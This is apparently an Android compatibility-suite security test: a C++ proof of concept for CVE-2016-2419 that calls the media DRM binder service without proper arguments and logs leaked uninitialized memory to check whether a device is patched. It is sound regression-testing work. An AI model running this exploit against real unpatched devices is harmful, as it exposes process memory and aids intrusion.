hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp

/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*      http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <android/log.h>
#include <arpa/inet.h>
#include <binder/IServiceManager.h>
#include <binder/Parcel.h>
#include <binder/ProcessState.h>
#include <binder/TextOutput.h>
#include <drm/DrmConstraints.h>
#include <drm/DrmConvertedStatus.h>
#include <drm/DrmInfo.h>
#include <drm/DrmInfoRequest.h>
#include <drm/DrmInfoStatus.h>
#include <drm/DrmMetadata.h>
#include <drm/DrmRights.h>
#include <drm/DrmSupportInfo.h>
#include <fcntl.h>
#include <media/ICrypto.h>
#include <media/IDrm.h>
#include <media/IMediaPlayer.h>
#include <media/IMediaPlayerClient.h>
#include <media/IMediaPlayerService.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>

using namespace android;

int INFO_LEAK_BUFFER_SIZE = 256;

int doInforLeakTest() {
  sp<IServiceManager> sm = defaultServiceManager();
  sp<IBinder> mediaPlayerSevice = sm->checkService(String16("media.player"));

  sp<IMediaPlayerService> iMediaPlayerService =
      IMediaPlayerService::asInterface(mediaPlayerSevice);

  Parcel data, reply;
  data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor());
  IMediaPlayerService::asBinder(iMediaPlayerService)
      ->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch)
  sp<IDrm> iDrm = interface_cast<IDrm>(reply.readStrongBinder());

  Parcel data2, reply2;
  data2.writeInterfaceToken(iDrm->getInterfaceDescriptor());
  IDrm::asBinder(iDrm)->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
  reply2.readInt32();
  reply2.readInt32();
  unsigned int leaked = reply2.readInt32();

  ALOGE("leaked data: 0x%08x", leaked);

  return (leaked == 0 ? 0 : 1);
}

int main(void) {
  int leaked = 0;
  for (int i = 0; i < 20; i++) {
    leaked = doInforLeakTest();
    if (leaked) {
      ALOGE("IOMX_InfoLeak b26323455");
      break;
    }
  }
  return 0;
}